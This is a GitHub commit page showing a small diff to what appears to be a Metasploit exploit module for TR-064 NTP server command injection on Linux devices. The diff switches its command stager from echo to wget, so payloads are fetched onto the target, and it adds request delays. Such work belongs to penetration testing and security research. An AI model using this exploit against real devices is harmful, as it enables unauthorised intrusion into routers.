Skip to content

Commit b0e7907

Browse files
committed
Switch to wget CmdStager and tune timing
We don't want to trample the device with requests.
1 parent 94d76cf commit b0e7907

File tree

1 file changed

+3
-6
lines changed

1 file changed

+3
-6
lines changed

modules/exploits/linux/http/tr064_ntpserver_cmdinject.rb

Lines changed: 3 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -52,7 +52,8 @@ def initialize(info = {})
5252
],
5353

5454
],
55-
'DefaultTarget' => 0
55+
'DefaultTarget' => 0,
56+
'DefaultOptions' => {'WfsDelay' => 10}
5657
))
5758

5859
register_options(
@@ -118,11 +119,7 @@ def check
118119
end
119120

120121
def inject_staged_data
121-
execute_cmdstager(
122-
flavor: :echo,
123-
enc_format: :hex_single_quoted,
124-
linemax: 63
125-
)
122+
execute_cmdstager(flavor: :wget, linemax: 65, delay: 3)
126123
end
127124

128125
def exploit

0 commit comments

Comments
 (0)